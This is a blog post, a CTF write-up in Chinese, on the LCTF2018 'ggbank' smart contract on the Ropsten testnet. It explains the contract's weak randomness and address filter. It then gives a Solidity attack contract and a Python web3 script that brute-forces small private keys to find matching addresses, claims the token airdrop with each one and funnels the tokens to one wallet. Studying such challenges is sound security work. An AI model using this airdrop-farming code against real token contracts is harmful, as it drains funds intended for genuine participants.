LoRexxar's Blog | 信息技术分享

LCTF2018 ggbank 薅羊毛实战

2018/11/20

11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank,题目的原意是考察弱随机数问题,但在题目的设定上挺有意思的,加入了一个对地址的验证,导致弱随机的难度高了许多,反倒是薅羊毛更快乐了,下面就借这个题聊聊关于薅羊毛的实战操作。

分析

源代码
https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a#code

首先我们照例来分析一下源代码

和之前我出的题风格一致,首先是发行了一种token,然后基于token的挑战代码,主要有几个点

1
2
3
modifier authenticate { //修饰器,在authenticate关键字做修饰器时,会执行该函数
require(checkfriend(msg.sender));_; // 对来源做checkfriend判断
}

跟着看checkfriend函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";

for (uint256 i = 0; i < 34; i++) { //逐渐对比最后5位
if (addr & gg == id) { // 当地址中包含7d7ec时可以继续
return true;
}
gg <<= 4;
id <<= 4;
}

return false;
}

checkfriend就是整个挑战最大的难点,也大幅度影响了思考的方向,这个稍后再谈。

1
2
3
4
5
6
7
8
   function getAirdrop() public authenticate returns (bool success){
if (!initialized[msg.sender]) { //空投
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}

空投函数没看有什么太可说的,就是对每一个新用户都发一次空投。

然后就是goodluck函数

1
2
3
4
5
6
7
8
9
10
11
12
function goodluck()  public payable authenticate returns (bool success) {
require(!locknumber[block.number]); //判断block.numbrt
require(balances[msg.sender]>=100); //余额大于100
balances[msg.sender]-=100; //每次调用要花费100token
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //随机数
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //随机数判断
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}

然后只要余额大于200000就可以拿到flag。

其实代码特别简单,漏洞也不难,就是非常常见的弱随机数问题。

随机数的生成方式为

1
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;

另一个的生成方式为

1
uint(keccak256(abi.encodePacked(msg.sender))) % 100

其实非常简单,这两个数字都是已知的,msg.sender可以直接控制已知的地址,那么左值就是已知的,剩下的就是要等待一个右值出现,由于block.number是自增的,我们可以通过提前计算出一个block.number,然后写脚本监控这个值出现,提前开始发起交易抢打包,就ok了。具体我就不详细提了。可以看看出题人的wp。

https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank

但问题就在于,这种操作要等block.number出现,而且还要抢打包,毕竟还是不稳定的。所以在做题的时候我们关注到另一条路,薅羊毛,这里重点说说这个。

合约薅羊毛

在想到原来的思路过于复杂之后,我就顺理成章的想到薅羊毛这条路,然后第一反正就是直接通过合约建合约的方式来碰这个概率。

思路来自于最早发现的薅羊毛合约https://paper.seebug.org/646/

这个合约有几个很精巧的点。

首先我们需要有基本的概念,在以太坊上发起交易是需要支付gas的,如果我们不通过合约来交易,那么这笔gas就必须先转账过去eth,然后再发起交易,整个过程困难了好几倍不止。

然后就有了新的问题,在合约中新建合约在EVM中,是属于高消费的操作之一,在以太坊中,每一次交易都会打包进一个区块中,而每一个区块都有gas消费的上限,如果超过了上限,就会爆gas out,然后交易回滚,交易就失败了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
contract attack{
address target = 0x7caa18D765e5B4c3BF0831137923841FE3e7258a;

function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}

return false;
}


function attack(){
// getairdrop

if(checkfriend(address(this))){
target.call(bytes4(keccak256('getAirdrop()')));
target.call(bytes4(keccak256("transfer(address,uint256)")),0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C, 1000);
}
}
}

contract doit{

function doit() payable {

}
function attack_starta() public {
for(int i=0;i<=50;i++){
new attack();
}
}

function () payable {
}

}

上述的poc中,有一个很特别的点就是我加入了checkfriend的判断,因为我发现循环中如果新建合约的函数调用revert会导致整个交易报错,所以我干脆把整个判断放上来,在判断后再发起交易。

可问题来了,我尝试跑了几波之后发现完全不行,我忽略了一个问题。

让我们回到checkfriend

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}

return false;
}

checkfriend只接受地址中带有7d7ec的地址交易,光是这几个字母出现的概率就只有1/36*1/36*1/36*1/36*1/36这个几率在每次随机生成50个合约上计算的话,概率就太小了。

必须要找新的办法来解决才行。

python脚本解决方案

既然在合约上没办法,那么我直接换用python写脚本来解决。

这个挑战最大的问题就在于checkfriend这里,那么我们直接换一种思路,如果我们去爆破私钥去恢复地址,是不是更有效一点儿?

其实爆破的方式非常多,但有的恢复特别慢,也不知道瓶颈在哪,在换了几种方式之后呢,我终于找到了一个特别快的恢复方式。

1
2
3
4
5
from ethereum.utils import privtoaddr, encode_hex

for i in range(1000000,100000000):
private_key = "%064d" % i
address = "0x" + encode_hex(privtoaddr(private_key))

我们拿到了地址之后就简单了,首先先转0.01eth给它,然后用私钥发起交易,获得空投、转账回来。

需要注意的是,转账之后需要先等到转账这个交易打包成功,之后才能继续下一步交易,需要多设置一步等待。

有个更快的方案是,先跑出200个地址,然后再批量转账,最后直接跑起来,不过想了一下感觉其实差不太多,因为整个脚本跑下来也就不到半小时,速度还是很可观的。

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
import ecdsa
import sha3
from binascii import hexlify, unhexlify
from ethereum.utils import privtoaddr, encode_hex
from web3 import Web3
import os
import traceback
import time

my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)

target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a"

ggbank = [
{
"constant": True,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "INITIAL_SUPPLY",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "decimals",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "_airdropAmount",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [
{
"name": "owner",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "symbol",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"name": "b64email",
"type": "string"
}
],
"name": "PayForFlag",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "getAirdrop",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [],
"name": "goodluck",
"outputs": [
{
"name": "success",
"type": "bool"
}
],
"payable": True,
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [
{
"indexed": False,
"name": "b64email",
"type": "string"
},
{
"indexed": False,
"name": "back",
"type": "string"
}
],
"name": "GetFlag",
"type": "event"
}
]

mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C"
mytarget_private_key = 这是私钥


transaction_dict = {'chainId': 3,
'from':Web3.toChecksumAddress(mytarget),
'to':'', # empty address for deploying a new contract
'gasPrice':10000000000,
'gas':200000,
'nonce': None,
'value':10000000000000000,
'data':""}


ggbank_ins = w3.eth.contract(abi=ggbank)
ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target))

nonce = 0

def transfer(address, private_key):
print(address)
global nonce
# 发钱
if not nonce:
nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget))

transaction_dict['nonce'] = nonce
transaction_dict['to'] = Web3.toChecksumAddress(address)
signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key)
result = w3.eth.sendRawTransaction(signed.rawTransaction)

nonce +=1

while 1:
if w3.eth.getBalance(Web3.toChecksumAddress(address)) >0:
break
time.sleep(1)

# 空投
nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address))

transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction2)
signed2 = w3.eth.account.signTransaction(transaction2, private_key)

result2 = w3.eth.sendRawTransaction(signed2.rawTransaction)

# 转账
nonce2+=1

transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
print(transaction3)

signed3 = w3.eth.account.signTransaction(transaction3, private_key)

result3 = w3.eth.sendRawTransaction(signed3.rawTransaction)



if __name__ == '__main__':

j = 0
for i in range(1000000,100000000):
private_key = "%064d" % i
# address = create_address(private_key)
# print(address)
# if "7d7ec" in address:
# print(address)

address = "0x" + encode_hex(privtoaddr(private_key))

if "7d7ec" in address:
private_key = unhexlify(private_key)
print(j)
try:
transfer(address, private_key)
except:
traceback.print_exc()
print("error:"+str(j))
j+=1

最终效果显著

image.png-8.3kB

CATALOG
  1. 1. 分析
  2. 2. 合约薅羊毛
  3. 3. python脚本解决方案